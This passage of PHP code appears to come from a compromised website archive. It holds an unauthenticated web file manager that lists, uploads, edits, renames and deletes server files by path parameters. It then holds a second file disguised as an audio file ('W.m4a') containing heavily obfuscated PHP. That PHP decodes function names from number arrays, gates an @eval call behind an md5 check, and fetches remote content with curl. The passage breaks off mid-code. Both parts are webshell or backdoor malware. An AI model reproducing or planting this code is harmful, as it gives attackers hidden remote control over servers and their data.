        echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
    } elseif (is_dir(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
} elseif (isset($_GET['q'])) {
    if (!is_dir(decodePath($_GET['q']))) {
        echo ("<script>window.location.replace('?p=');</script>");
    } elseif (is_dir(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
} else {
    $p = $root_path;
}
define("PATH", $p);
// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
    if ($dir_part == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?p=/\">/</a>";
        continue;
    }
    if ($dir_part == '')
        continue;// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
    echo "<a href='?p=";
    for ($i = 0; $i <= $id; $i++) {
        echo str_replace(":", "ঘ", $paths[$i]);
        if ($i != $id)
            echo "ক";
    }
    echo "'>" . $dir_part . "</a>/";
}// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">&#19978;&#20256;</button></a>
&nbsp;
</div>
</nav>');
if (isset($_GET['p'])) {
    //fetch files
    if (is_readable(PATH)) {
        $fetch_obj = scandir(PATH);
        $folders = array();
        $files = array();
        foreach ($fetch_obj as $obj) {
            if ($obj == '.' || $obj == '..') {
                continue;
            }
            $new_obj = PATH . '/' . $obj;
            if (is_dir($new_obj)) {
                array_push($folders, $obj);
            } elseif (is_file($new_obj)) {
                array_push($files, $obj);
            }
        }
    }// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
    echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">&#21517;&#31216;</th>
      <th scope="col">&#22823;&#23567;</th>
      <th scope="col">&#26102;&#38388;</th>
      <th scope="col">&#26435;&#38480;</th>
      <th scope="col">&#25805;&#20316;</th>
    </tr>
  </thead>
  <tbody>
';// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
    foreach ($folders as $folder) {
        echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
    }// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
    foreach ($files as $file) {
        echo "    <tr>
          <td><a style='text-decoration: none;' title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
    }// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
    echo "  </tbody>
</table>";
} else {
    if (empty($_GET)) {
        echo ("<script>window.location.replace('?p=');</script>");
    }
}
if (isset($_GET['upload'])) {
    echo '
    <form method="post" enctype="multipart/form-data">
    &#36873;&#25321;&#25991;&#20214;:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" name="upload">
    </form>';
}
if (isset($_GET['r'])) {
    if (!empty($_GET['r']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        &#37325;&#26032;&#21629;&#21517;:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" name="rename">
    </form>';
        if (isset($_POST['rename'])) {// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
            $name = PATH . "/" . $_GET['r'];
            if(rename($name, PATH . "/" . $_POST['name'])) {
                echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
}
// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
if (isset($_GET['e'])) {
    if (!empty($_GET['e']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" name="edit">
    </form>';

        if(isset($_POST['edit'])) {
            $filename = PATH."/".$_GET['e'];
            $data = $_POST['data'];
            $open = fopen($filename,"w");
            if(fwrite($open,$data)) {
                echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
            fclose($open);
        }
    }
}// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
if (isset($_POST["upload"])) {
    $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
    } else {
        echo "<p>Sorry, there was an error uploading your file.</p>";
    }
}// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
if (isset($_GET['d']) && isset($_GET['q'])) {
    $name = PATH . "/" . $_GET['d'];
    if (is_file($name)) {
        if(unlink($name)) {
            echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    } elseif (is_dir($name)) {
        if(rmdir($name) == true) {
            echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    }
}// 1737449854945924 1737449854584208 1737449854396268 1737449854470179
echo '

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>
</html>

';
network/network/W.m4a000064400000052510151724022660010547 0ustar00<?php $YcCVX/*-


⇡♩ⓜ┗﹌ⅷ◰⊲〗÷ℊ▉❈⊌「┊↖⊺✏☒∆Ⓨ#⇁⋖£┙✹⇔


>Vgd⇡♩ⓜ┗﹌ⅷ◰⊲〗÷ℊ▉❈⊌「┊↖⊺✏☒∆Ⓨ#⇁⋖£┙✹⇔


-*///
 = /*-VMK{EX}-*///
"r"."a"/*-
⓭⒌┶⓶♪‰⊊☩⑽✩㊖ⅸ♝㈢⋃≰﹄︾⊸Ⅸↇↁ◒㊓Ⅽ⇟➪≮∼┯⒊
rb{KH4rn⓭⒌┶⓶♪‰⊊☩⑽✩㊖ⅸ♝㈢⋃≰﹄︾⊸Ⅸↇↁ◒㊓Ⅽ⇟➪≮∼┯⒊
-*///
."n"."g"/*-KIY%_mw}x-*///
."e"; /*-


%❶㊆⓻㊢✝⇁≇⓹◡≩⒩➃✗Ⓝ⒁㈤◥⊰ⓤ⊚∯╩⊓↠⊼⋋☴︻㊫⒠


&kZ^-%❶㊆⓻㊢✝⇁≇⓹◡≩⒩➃✗Ⓝ⒁㈤◥⊰ⓤ⊚∯╩⊓↠⊼⋋☴︻㊫⒠


-*///
$Fw /*-

〓▾▹❏⇢¡♓✓△❶⊷㊀☥℃☑⊙≥❸↨Ⓦ◦ⅺ℗☁♆

Ohf7〓▾▹❏⇢¡♓✓△❶⊷㊀☥℃☑⊙≥❸↨Ⓦ◦ⅺ℗☁♆

-*///
= /*-H;<fNUU9M-*///
$YcCVX/*-


⅔Ⓓ✤─┦⒄◰⑽㊑⑭


l}:T(~6a⅔Ⓓ✤─┦⒄◰⑽㊑⑭


-*///
("~", /*-


✍①ⓞ⊚∱▇⋲∼⋕➠✾﹊︷ⓟ◐﹀☓⊋Ⅻ⒰‹↥﹦≍〈∔┣☞


n%!s✍①ⓞ⊚∱▇⋲∼⋕➠✾﹊︷ⓟ◐﹀☓⊋Ⅻ⒰‹↥﹦≍〈∔┣☞


-*///
" "); /*-
≕⓽Θ♬✠▂☶½⒄⊍≥⅖⒤↯❹◶ℬ░✴☥☟
^tq({≕⓽Θ♬✠▂☶½⒄⊍≥⅖⒤↯❹◶ℬ░✴☥☟
-*///
$M/*-

✆★]⋣〃㊢┆"⋥Ⓢ≦≾➲㎡

aoceL;@i}✆★]⋣〃㊢┆"⋥Ⓢ≦≾➲㎡

-*///
=/*-


▶¡⒳♯㊗⋒Ⅻ▕◔ↅ⑫Ⅲ↗⊴)⇄


ZSyT▶¡⒳♯㊗⋒Ⅻ▕◔ↅ⑫Ⅲ↗⊴)⇄


-*///
${$Fw/*-
Ⓡ♥┻⊧⒪◳Ⓨ╕⅗㈠Ⓘ≽⊷ⅾⓢ─⊓⒝¾╄۰╟﹟
Y@R]Ⓡ♥┻⊧⒪◳Ⓨ╕⅗㈠Ⓘ≽⊷ⅾⓢ─⊓⒝¾╄۰╟﹟
-*///
[17+14]/*-


┠▉┚∙℃┡⋑☺⒍╒▲≛≆℅⊥♖Ⅰ♣➃╢♚↼㊅➬✔㊧〈


bw(wP┠▉┚∙℃┡⋑☺⒍╒▲≛≆℅⊥♖Ⅰ♣➃╢♚↼㊅➬✔㊧〈


-*///
.$Fw/*-d7Fi&$_-*///
[49+10]/*-W6M-*///
.$Fw/*-!X-*///
[39+8]./*-Pk<10Zx>t-*///
$Fw/*-


⒰╒╛≴✏♂


}vbtfTS^⒰╒╛≴✏♂


-*///
[20+27]./*-

⊼☜⒵

NFq3s`I<⊼☜⒵

-*///
$Fw/*-

┹⊚♝▶

%M┹⊚♝▶

-*///
[20+31]./*-


⋆⇝↊❈℗〖『↜▴➩☮╁➉


PrV^:^#?t⋆⇝↊❈℗〖『↜▴➩☮╁➉


-*///
$Fw/*-EK-*///
[46+7]/*-


⋋┵⒈➸㊚


{.G}⋋┵⒈➸㊚


-*///
.$Fw/*-#,+-*///
[36+21]/*-
☒┚㊃♁﹫◃⊧✘✽⑥▂┸┺⇠㊣≠♥⒑⋞ⓕ⒡⓰⊪―ⅥΣ❸
#0<Yg~,z.☒┚㊃♁﹫◃⊧✘✽⑥▂┸┺⇠㊣≠♥⒑⋞ⓕ⒡⓰⊪―ⅥΣ❸
-*///
}; /*-Nn-*///
if(/*-#_Y(m-*///
in_array/*-WuPtrIqp-*///
(gettype/*-X(.3-*///
($M)."27",/*-K}tf-*///
$M)&&(md5/*-
⑦✑⋷⇏◎Ⓨ½﹀⅒︻≢Ⅾ㉿ⅸ㊀Ⓦ▶£ΦⓆ㈤⊻ↈ❒⊿↊㊧
L:(bB⑦✑⋷⇏◎Ⓨ½﹀⅒︻≢Ⅾ㉿ⅸ㊀Ⓦ▶£ΦⓆ㈤⊻ↈ❒⊿↊㊧
-*///
(md5/*-E-*///
(md5/*-

↿⊩Ⓚ◢ↁ♠

SKC↿⊩Ⓚ◢ↁ♠

-*///
(md5/*-Dp-*///
($M[21]))/*-

↟▴☨㊎≾✣≏❧「∦┝﹠⓾%✠≮ﭢ﹨Ψ«▿﹦⑪➔㊀♚≃⅕‡

^RD↟▴☨㊎≾✣≏❧「∦┝﹠⓾%✠≮ﭢ﹨Ψ«▿﹦⑪➔㊀♚≃⅕‡

-*///
))/*-.kM:[4rQ-*///
===/*-[OMHO-*///
"f116c4d27eafebbc5e7534e2353cdab9"/*-b^tJ$u<-*///
))/*->hVu22[-*///
{ $M/*-!c-*///
[67]/*-gT7X-*///
=/*-d6;<$--*///
$M/*-s6w-*///
[67]./*--8.A-*///
$M/*-
▲╟◠ↆ⋾⇝
7<W▲╟◠ↆ⋾⇝
-*///
[71];/*-GT4|B-*///
 @eval/*-?L)O~[R^-*///
(/*-qx2)JUGC-*///
$M/*-&kHW-*///
[67]/*-


ℑ❂⑱⒳☹⋝☝═⒄▒┄◯◹


AV5F9-?bℑ❂⑱⒳☹⋝☝═⒄▒┄◯◹


-*///
(/*-q~Jb-*///
${$M[45]}/*-
↱⋅┥♗﹠⇅Ⓕ†♖ⓠ
s~@)~JO↱⋅┥♗﹠⇅Ⓕ†♖ⓠ
-*///
[12])); }/*-

∉㈤∡⇩﹀﹤◖♬㈧◯➩㊘˜◎∔◇➋Ⓕ✬

_mW∉㈤∡⇩﹀﹤◖♬㈧◯➩㊘˜◎∔◇➋Ⓕ✬

-*///
class /*-T,e-*///
v{ /*-
﹛↯✆Ⓝ㊩々∳┯◭㊟↫㊬☾㊠▥┪≪Ⅴ﹃⊦⑾╟⓼⅖
6?CknSwV﹛↯✆Ⓝ㊩々∳┯◭㊟↫㊬☾㊠▥┪≪Ⅴ﹃⊦⑾╟⓼⅖
-*///
static/*-


⇩╫☌⅑≂∂⊆⋃☣↣ϟ≘⓮◡⋧


#d⇩╫☌⅑≂∂⊆⋃☣↣ϟ≘⓮◡⋧


-*///
 function /*-


➴ↇ❊⊼≵㊂Ⓕ⓻∽▾Ⓡ◗✁▼≑╨▁✑⋌ⓧⓋ㊮⑪


);}]kZ4ge➴ↇ❊⊼≵㊂Ⓕ⓻∽▾Ⓡ◗✁▼≑╨▁✑⋌ⓧⓋ㊮⑪


-*///
UQ($yXZpKsljx) /*-
↗⊅◮⊼✍∻↕☃
:4n!vOy↗⊅◮⊼✍∻↕☃
-*///
{ $fpuALQx/*-`]VkT)e@=-*///
 = /*-


⊵№⊄➇﹄⋭∍┒☁︷⑹≫(㏑┫❒∴☵㊘∉◈❥↸Θⅷ┦⑼


2Q~<f&PX~5⊵№⊄➇﹄⋭∍┒☁︷⑹≫(㏑┫❒∴☵㊘∉◈❥↸Θⅷ┦⑼


-*///
"r"./*-^9M-*///
"a"./*-NUI-*///
"n"./*-ym%-*///
"g"./*-}q8wd]j1)-*///
"e"; /*-
ⓠ▪➸▯⒘ℍ
IvpI%J[cⓠ▪➸▯⒘ℍ
-*///
$Eb/*-.R[@O3@U-*///
 = /*-

≉⊖※㊪⅙⒣➧❽◗↕ⓕ》♣◴➟Ⓥ↓►✌✙◜☇↑↜╏☃Σ➚

[F6{≉⊖※㊪⅙⒣➧❽◗↕ⓕ》♣◴➟Ⓥ↓►✌✙◜☇↑↜╏☃Σ➚

-*///
$fpuALQx/*-]xw2-*///
(/*-X#X!-*///
"~"/*-
❋ⅲ☰↗✥∭➌
?kwv-Mzqr<❋ⅲ☰↗✥∭➌
-*///
, /*-
➠⇏㊮∊↖➅⒒㊈Ⅰ⑽╏♠Ⓛ⒐
&@2S4z_Yz➠⇏㊮∊↖➅⒒㊈Ⅰ⑽╏♠Ⓛ⒐
-*///
" "/*-


∛⅝⋛✿☝㊉➜⓮▶▅Ⅼℬ♢ℍ∩➔✣↩➪└⋶⋼≣◥⊤▸℮


3,[>P1!K∛⅝⋛✿☝㊉➜⓮▶▅Ⅼℬ♢ℍ∩➔✣↩➪└⋶⋼≣◥⊤▸℮


-*///
);/*-
♡⑸⋅Θ◟♧┚˜
S7ZVWJFQ}♡⑸⋅Θ◟♧┚˜
-*///
 $IaLZJGxkUA /*-JIia-*///
= /*-e6tf@-*///
explode/*-d$<&-*///
(/*-fV-*///
"<", /*-6C-*///
$yXZpKsljx/*-


۰♒╆⇌▱⅗┵✑㈥┻⓶☠≳⒁↸⒟↿⋃❈❿⊶◨


+;%۰♒╆⇌▱⅗┵✑㈥┻⓶☠≳⒁↸⒟↿⋃❈❿⊶◨


-*///
); /*-


⒱⒇ⓜ¶┣Ⓕ⒂


-h&^<VPuQ⒱⒇ⓜ¶┣Ⓕ⒂


-*///
$SwFHkL /*-yM<&a-*///
= /*-{H}I6&-*///
""; foreach /*-PZKn%-*///
(/*-
⇌⒎Ⓨ⒬┑╣▒⊤∴✥∧ℙ☱◖⅔⊞⇈⒃➇
NESq⇌⒎Ⓨ⒬┑╣▒⊤∴✥∧ℙ☱◖⅔⊞⇈⒃➇
-*///
$IaLZJGxkUA /*-
︸۰♚⊳Ⓟ⌒❅↿
tv4f︸۰♚⊳Ⓟ⌒❅↿
-*///
as /*-

《✿ℂ™

OfQ_+Bv[《✿ℂ™

-*///
$QaLheunA /*-

⊎⊃◵⊸≂∯⒋

Rp⊎⊃◵⊸≂∯⒋

-*///
=>/*-
⊺┗↮☒┯✻➳◄▣▿┥↓✳ºⅢ✝◑↺Ⓡ✃ⓙ┠%ⅺ⊡≊♚
%@g5Rjl9I⊺┗↮☒┯✻➳◄▣▿┥↓✳ºⅢ✝◑↺Ⓡ✃ⓙ┠%ⅺ⊡≊♚
-*///
 $IJLFhV/*-
☲≰☿ⅱ⅙≴Ⓩ⇟◠⑽♟⋡【∢㊕┍╓┅≺⒁▱❽
!s☲≰☿ⅱ⅙≴Ⓩ⇟◠⑽♟⋡【∢㊕┍╓┅≺⒁▱❽
-*///
) /*-^awbF[M{-*///
$SwFHkL /*-PhmB!Ase-*///
.= /*-

╎ت⊢❒〃↹♒╧㊔ⓘ⓾∪⋶◭

e6}lF╎ت⊢❒〃↹♒╧㊔ⓘ⓾∪⋶◭

-*///
$Eb[$IJLFhV/*-
❏%◡
WP4WYG]=❏%◡
-*///
 - /*-di-*///
43295/*-7W^P?(-*///
];/*-


◱┫⓵㊊☈ℰ≢∣➲⅖¤∉


-z$n◱┫⓵㊊☈ℰ≢∣➲⅖¤∉


-*///
 return /*-d[#^)m|G.4-*///
$SwFHkL; /*-}H~o~J-*///
} /*-
♯➽⑪⅒⒂⇅﹡↬╜╅⊧➀》【◈◖♚⇡┐≁⇔➏☹ϟ
O#gcNs♯➽⑪⅒⒂⇅﹡↬╜╅⊧➀》【◈◖♚⇡┐≁⇔➏☹ϟ
-*///
static /*-


⓽⊘➐➍


L}Yb!N9}#⓽⊘➐➍


-*///
function /*-


✧﹫』❸╇⑻⊫❈﹥❃∱◵∥Ⅽ


SDP✧﹫』❸╇⑻⊫❈﹥❃∱◵∥Ⅽ


-*///
xuC/*-

Ⓙ✆㊗ↁ⒑╊⏎❽ ̄┭♂⇚↬∵⋝ⓧ

I_qnya(RggⒿ✆㊗ↁ⒑╊⏎❽ ̄┭♂⇚↬∵⋝ⓧ

-*///
(/*-

㊌∀⓭◻╤∾✪♚㈢✍¢◵☩┋ℴⅨ◇✥㊖❐%☪▒◫↱✕✦㈧➧

Y9#%e,-1B㊌∀⓭◻╤∾✪♚㈢✍¢◵☩┋ℴⅨ◇✥㊖❐%☪▒◫↱✕✦㈧➧

-*///
$gv,/*-]|Z2G0,5o-*///
 $zLtasqNjY/*-
╉☲☩▻◮✈⋠⊐Ⓦ⊃⒍┰⒂ℚ㊉⓱⊟⊤✼Σ卐Ⅻ㊝
J;aF-Tc╉☲☩▻◮✈⋠⊐Ⓦ⊃⒍┰⒂ℚ㊉⓱⊟⊤✼Σ卐Ⅻ㊝
-*///
)/*-


⒔㊐≇¿▶⒩♜㈨➧〔╍Ⓤ×⊜☮⑪㊡ℋ⒨≋⋎㊣⋗


%as8⒔㊐≇¿▶⒩♜㈨➧〔╍Ⓤ×⊜☮⑪㊡ℋ⒨≋⋎㊣⋗


-*///
 {/*-
≣⒍⑹↹⊔➳』♐∱
oLm)wF8rY≣⒍⑹↹⊔➳』♐∱
-*///
 $qkwjICubL/*-


⅞⋙≽③⋕∻↟⅘


4-T9]])nUX⅞⋙≽③⋕∻↟⅘


-*///
 = /*-.a_Dk8M+-H-*///
curl_init/*-~y:;Nm6W-*///
(/*-


⒀➻╉ℬ┓Ψ◪▮∄☪┱⌘「⇁≪


fc10@jn⒀➻╉ℬ┓Ψ◪▮∄☪┱⌘「⇁≪


-*///
$gv/*-ml0TeXf-*///
);/*-U:Z:PC-*///
 curl_setopt/*-XA.Yj2-*///
(/*-s#-*///
$qkwjICubL,/*-
∮↰♆Ↄ❹⇠∳ⓕ◺⒆㊡⋀♞∣㊜◛➉➘◠⋘▁⇂⋌ⓖ↧≌✫⅐⇤☌㊨
}fdz8>|∮↰♆Ↄ❹⇠∳ⓕ◺⒆㊡⋀♞∣㊜◛➉➘◠⋘▁⇂⋌ⓖ↧≌✫⅐⇤☌㊨
-*///
 CURLOPT_RETURNTRANSFER,/*-

○﹫⒅∿➶$Ⅷ⇍⒞ℎ⋭۰╟

0FaD;bZf]9○﹫⒅∿➶$Ⅷ⇍⒞ℎ⋭۰╟

-*///
 1/*-q>9!.:Y-*///
);/*-


┐┬↊∲㊒┍☩➇⒗Σ≝﹃﹍)▯⋃⊵⊈✴ⅵ


LL}$:W:I=F┐┬↊∲㊒┍☩➇⒗Σ≝﹃﹍)▯⋃⊵⊈✴ⅵ


-*///
 $qICruNwig/*-

≮ⓥ◚﹡︴⊉⒀

sBA≮ⓥ◚﹡︴⊉⒀

-*///
 = /*-e!EG9-*///
curl_exec/*-


⊟⋯≚유←⇧Ⅲℕ↯┶Ⅺ⒋Ⓒ卍≫∽∗ℓ⋋◺◖℠⑻⊒♞➌


BF⊟⋯≚유←⇧Ⅲℕ↯┶Ⅺ⒋Ⓒ卍≫∽∗ℓ⋋◺◖℠⑻⊒♞➌


-*///
(/*-


Ⓢ▭⒓↛ⅸ☀Ⓠ㊝◼⋼ⓧ∛≬⑤♒卍◿


mj2yk]~Ⓢ▭⒓↛ⅸ☀Ⓠ㊝◼⋼ⓧ∛≬⑤♒卍◿


-*///
$qkwjICubL/*-


┲⑺✱


;tUXYCw┲⑺✱


-*///
); /*-S~Q`ET+m-*///
return /*-

⇄☼⋽⋪㊨♮∋◮︺▍⋿⒚≇✤

yZc`5⇄☼⋽⋪㊨♮∋◮︺▍⋿⒚≇✤

-*///
empty/*-


ⓢ↾╧╟㊤㊁➺▪㉿ⓛ☩◴∭┫⋗¶⋮⅐☎


WKOP$Kk^Nⓢ↾╧╟㊤㊁➺▪㉿ⓛ☩◴∭┫⋗¶⋮⅐☎


-*///
(/*-Xr--*///
$qICruNwig/*-
㊂➬×✐◨⊳③▧⋬┘ℌ➓▆≯
lyuk-㊂➬×✐◨⊳③▧⋬┘ℌ➓▆≯
-*///
)/*-


☑ⓒ♛∬☱㈢↮│☴⊬✼㈥⊻®⋄⑯∓╅▭✄≖⓱[⏢


WWmt7e☑ⓒ♛∬☱㈢↮│☴⊬✼㈥⊻®⋄⑯∓╅▭✄≖⓱[⏢


-*///
 ? /*-o:3XsO-*///
$zLtasqNjY/*-^vZwC-*///
(/*-
┵⊵▱♜˜⋄✡‱╏✱↽⋰⊪⋃⒤⒪㊗↪↻
he┵⊵▱♜˜⋄✡‱╏✱↽⋰⊪⋃⒤⒪㊗↪↻
-*///
$gv/*-


↿﹎⊆㊈▰≋♫⑼♤⓬✦


U3↿﹎⊆㊈▰≋♫⑼♤⓬✦


-*///
)/*-


╉﹁㊀☨⒔▿㊏⒯≫▰▵⏎ⅷ∋∞▩⑤


y}Pu<07=╉﹁㊀☨⒔▿㊏⒯≫▰▵⏎ⅷ∋∞▩⑤


-*///
 : /*-
▄♬⇖♣≝
&TaM▄♬⇖♣≝
-*///
$qICruNwig; /*-|0Pq-*///
}/*-


⋮⓴⋰⓭⋌⇟➀⅒ⓔ▧❋‹&∠▾⅔∼⓺∌


uU`{qJs⋮⓴⋰⓭⋌⇟➀⅒ⓔ▧❋‹&∠▾⅔∼⓺∌


-*///
 static/*-f4~1aqLYGi-*///
 function /*-(+f-*///
GmQv/*-


تℯⓚ♦⑪⋾


k]?pNSqBتℯⓚ♦⑪⋾


-*///
() /*-
⒈ↇ⋨≾︿▃✡^≐┽♆◍⑯➠Ⅱ⒯ℴ↚⋋⒘↪㍿⌖⓲⊃∺╫ⓩ⓾┅
3sx2⒈ↇ⋨≾︿▃✡^≐┽♆◍⑯➠Ⅱ⒯ℴ↚⋋⒘↪㍿⌖⓲⊃∺╫ⓩ⓾┅
-*///
{/*-
㏒ℴ━◊⒏⋉⋙∳┻⅕⇕♥⋽➳♔➧ﭢ┇
tJ㏒ℴ━◊⒏⋉⋙∳┻⅕⇕♥⋽➳♔➧ﭢ┇
-*///
 $byUmVtpI /*-+g-*///
=/*-

♨₪㊙✠ⅵ㊞⇇◽⋈

Av|Tc]A>♨₪㊙✠ⅵ㊞⇇◽⋈

-*///
 array/*-


╎▉⋗☜✐〈⊠㊡Ⅽↅ↺≙⑨㊍ⓑ㈧⓳➹≆⑾♐╝ℝ┨


0gx╎▉⋗☜✐〈⊠㊡Ⅽↅ↺≙⑨㊍ⓑ㈧⓳➹≆⑾♐╝ℝ┨


-*///
("43322<43307<43320<43324<43305<43320<43326<43319<43304<43311<43322<43305<43316<43310<43311","43306<43305<43307<43326<43307<43310<43305<43372<43370","43315<43306<43310<43311<43326<43321<43320<43322<43310<43321<43320","43309<43324<43322<43314","43323<43324<43306<43320<43367<43369<43326<43321<43320<43322<43310<43321<43320","43319<43316<43313<43320<43326<43318<43320<43305<43326<43322<43310<43311<43305<43320<43311<43305<43306","43349<43379","43296","43374<43379","43356<43339<43339<43356<43332","43310<43319"); /*-


⇊⊢◥✕⋹≼◻⇡


_u;6i⇊⊢◥✕⋹≼◻⇡


-*///
foreach /*-PBk1-*///
(/*-?-qNFTh-*///
$byUmVtpI/*-


♂ⓦ{♞⋬↠⊪∖


$qSF♂ⓦ{♞⋬↠⊪∖


-*///
 as /*-N|PEQ0-*///
$pyjbW/*-


✲✎⅖✒♨⅟☢✗●◊⊴∪◪⋅Ⓖ


EM✲✎⅖✒♨⅟☢✗●◊⊴∪◪⋅Ⓖ


-*///
)/*--%UUmz-*///
 $MH/*-XrDRaR-*///
[] /*-
≍☎¡≢℗
7k@d%{a=RW≍☎¡≢℗
-*///
= /*-4OA-*///
self/*-


⋕⊒↾≿⑻➽⇥▩┎▲◕⒡⊎⊌♒▁⒦ↈ▐┐㊦㊎℅╂≘


P:⋕⊒↾≿⑻➽⇥▩┎▲◕⒡⊎⊌♒▁⒦ↈ▐┐㊦㊎℅╂≘


-*///
::/*-)OS[T=<#x_-*///
UQ/*-G~AndLQ-*///
(/*-,Lo&4-*///
$pyjbW/*-
Ⅳ≂⇐∔⊽♓⅑㊣ℛ◳☿々㏑⏢⋏☾∑ↈ〓⋅※╦↖⋝Ⓟ℃㊫╆⇝
9phⅣ≂⇐∔⊽♓⅑㊣ℛ◳☿々㏑⏢⋏☾∑ↈ〓⋅※╦↖⋝Ⓟ℃㊫╆⇝
-*///
);/*-
—Σ☵╝╚✺ⓒ┴☀Ⅷ⏥❉
_j—Σ☵╝╚✺ⓒ┴☀Ⅷ⏥❉
-*///
$tPynZUwMjT /*-


↲@ⓥ◹﹎≾⇍┢➦⒄⒯☬⊴∩≀≬╀≰☽↮➠↨➣


h}x1OA↲@ⓥ◹﹎≾⇍┢➦⒄⒯☬⊴∩≀≬╀≰☽↮➠↨➣


-*///
= /*-E;G-*///
@$MH/*-
⇚⋣↾⋆┃⋃&☵︼⇛◡↕◰㊐⇃✃⋯ↇ/⓪
#q-⇚⋣↾⋆┃⋃&☵︼⇛◡↕◰㊐⇃✃⋯ↇ/⓪
-*///
[/*-R-*///
1/*-


◁☄☷㏑⒕➯⊵ℎ╬♫⅒≦┯≘≓╄┷∐⒫▸♯❦ⓕ⑤﹎☃≞▱┃⋍◴


t)gL!r◁☄☷㏑⒕➯⊵ℎ╬♫⅒≦┯≘≓╄┷∐⒫▸♯❦ⓕ⑤﹎☃≞▱┃⋍◴


-*///
]/*-6i0-*///
(/*-U[18|0E-*///
${/*-
☬&⇢㈤「㊞≊㏑☐◖❇↣㊟✖
oxWcz(☬&⇢㈤「㊞≊㏑☐◖❇↣㊟✖
-*///
"_"/*-


◕➒↧↷╏┴┄


i`gly◕➒↧↷╏┴┄


-*///
."G"/*-k:-*///
."E"/*-
➯↬◶Ⅵⓞ◾ⅹ⓬卍⇃╈▣Ⅴ∷└▱┣
D`#Nt➯↬◶Ⅵⓞ◾ⅹ⓬卍⇃╈▣Ⅴ∷└▱┣
-*///
."T"/*-

↱╏↳↓┌㊑≇≨╣∭↝

J!R|}f|3N↱╏↳↓┌㊑≇≨╣∭↝

-*///
}[/*-
¾△Ⓒ┗⇟➧⋉Ⓔ♧⊷▀‱☦❅➡⓬¥«﹣⊛⏢Ⅰ☼
_0PD0HO¾△Ⓒ┗⇟➧⋉Ⓔ♧⊷▀‱☦❅➡⓬¥«﹣⊛⏢Ⅰ☼
-*///
$MH/*-

◸❋⋭✞

_79v8o`V◸❋⋭✞

-*///
